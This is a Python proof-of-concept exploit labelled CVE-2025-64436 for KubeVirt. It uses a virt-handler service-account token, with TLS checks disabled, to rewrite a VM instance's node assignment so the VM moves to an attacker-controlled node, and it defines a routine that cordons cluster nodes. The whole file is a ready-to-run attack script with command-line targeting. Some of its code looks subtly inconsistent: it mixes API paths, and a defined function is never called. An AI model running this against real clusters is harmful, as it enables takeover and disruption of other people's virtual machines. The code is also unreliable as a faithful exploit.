# CVE-2025-64436 PoC - KubeVirt VMI Forced Migration
# This PoC demonstrates how excessive permissions on virt-handler service account
# can be abused to force VMI migration to an attacker-controlled node
import requests
import json
import argparse
from kubernetes import client, config
from kubernetes.client.rest import ApiException
def force_vmi_migration(api_server, token, namespace, vmi_name, target_node):
"""
Force VMI migration to attacker-controlled node by updating VMI spec
"""
headers = {
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'
}
# Get current VMI
get_url = f"{api_server}/api/v1/namespaces/{namespace}/virtualmachineinstances/{vmi_name}"
response = requests.get(get_url, headers=headers, verify=False)
if response.status_code != 200:
print(f"[-] Failed to get VMI: {response.text}")
return False
vmi = response.json()
# Modify VMI to schedule on target node
vmi['spec']['nodeName'] = target_node
# Update VMI
put_url = f"{api_server}/apis/kubevirt.io/v1/namespaces/{namespace}/virtualmachineinstances/{vmi_name}"
response = requests.put(put_url, headers=headers, json=vmi, verify=False)
if response.status_code in [200, 201]:
print(f"[+] Successfully forced VMI {vmi_name} migration to {target_node}")
return True
else:
print(f"[-] Failed to migrate VMI: {response.text}")
return False
def mark_nodes_unschedulable(api_server, token, target_nodes):
"""
Mark nodes as unschedulable to force pod migration
"""
headers = {
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json-patch+json'
}
patch_payload = [
{"op": "add", "path": "/spec/unschedulable", "value": True}
]
for node in target_nodes:
patch_url = f"{api_server}/api/v1/nodes/{node}"
response = requests.patch(patch_url, headers=headers, json=patch_payload, verify=False)
if response.status_code == 200:
print(f"[+] Successfully marked node {node} as unschedulable")
else:
print(f"[-] Failed to mark node {node}: {response.text}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2025-64436 PoC')
parser.add_argument('--api-server', required=True, help='Kubernetes API server URL')
parser.add_argument('--token', required=True, help='Service account token')
parser.add_argument('--namespace', default='kubevirt-vmi', help='VMI namespace')
parser.add_argument('--vmi-name', required=True, help='Target VMI name')
parser.add_argument('--target-node', required=True, help='Target node for migration')
args = parser.parse_args()
print("[*] CVE-2025-64436 - KubeVirt virt-handler Permission Abuse")
force_vmi_migration(args.api_server, args.token, args.namespace, args.vmi_name, args.target_node)